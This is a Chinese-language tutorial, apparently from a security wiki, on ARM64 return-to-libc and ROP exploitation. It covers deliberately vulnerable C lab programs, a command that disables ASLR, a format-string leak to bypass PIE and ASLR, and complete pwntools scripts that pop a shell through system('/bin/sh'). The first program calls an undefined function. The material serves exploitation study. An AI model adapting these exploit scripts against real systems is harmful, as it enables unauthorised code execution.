Ret2lib - NX 绕过与 ROP (无 ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
编译时不使用 canary：
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
查找偏移量
x30 偏移量
创建一个模式 pattern create 200，使用它，并通过 pattern search $x30 检查偏移量，我们可以看到偏移量是 108 (0x6c)。
查看反汇编的主函数，我们可以看到我们希望 跳转 到直接跳转到 printf 的指令，其从二进制文件加载的位置的偏移量是 0x860：
查找 system 和 /bin/sh 字符串
由于 ASLR 被禁用，地址将始终相同：
查找 Gadgets
我们需要在 x0 中放入字符串 /bin/sh 的地址，并调用 system。
使用 rooper 找到了一个有趣的 gadget：
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
这个小工具将从 $sp + 0x18 加载 x0，然后从 sp 加载地址 x29 和 x30，并跳转到 x30。因此，通过这个小工具，我们可以 控制第一个参数，然后跳转到 system。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE 绕过与来自栈的 printf 泄漏
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
编译 without canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE 和 ASLR 但没有 canary
Printf 泄露
在调用 printf 之前设置一个断点，可以看到栈中有返回到二进制的地址以及 libc 地址：
尝试不同的偏移量，%21$p 可以泄露一个二进制地址（PIE 绕过），而 %25$p 可以泄露一个 libc 地址：
将泄露的 libc 地址与 libc 的基地址相减，可以看到 泄露地址与基地址的偏移量是 0x49c40。
x30 偏移量
查看之前的示例，因为 bof 是相同的。
查找 Gadgets
与之前的示例一样，我们需要在 x0 中有字符串 /bin/sh 的地址，并调用 system。
使用 rooper 发现了另一个有趣的 gadget：
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
这个小工具将从 $sp + 0x78 加载 x0，然后从 sp 加载地址 x29 和 x30，并跳转到 x30。因此，通过这个小工具，我们可以 控制第一个参数，然后跳转到 system。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
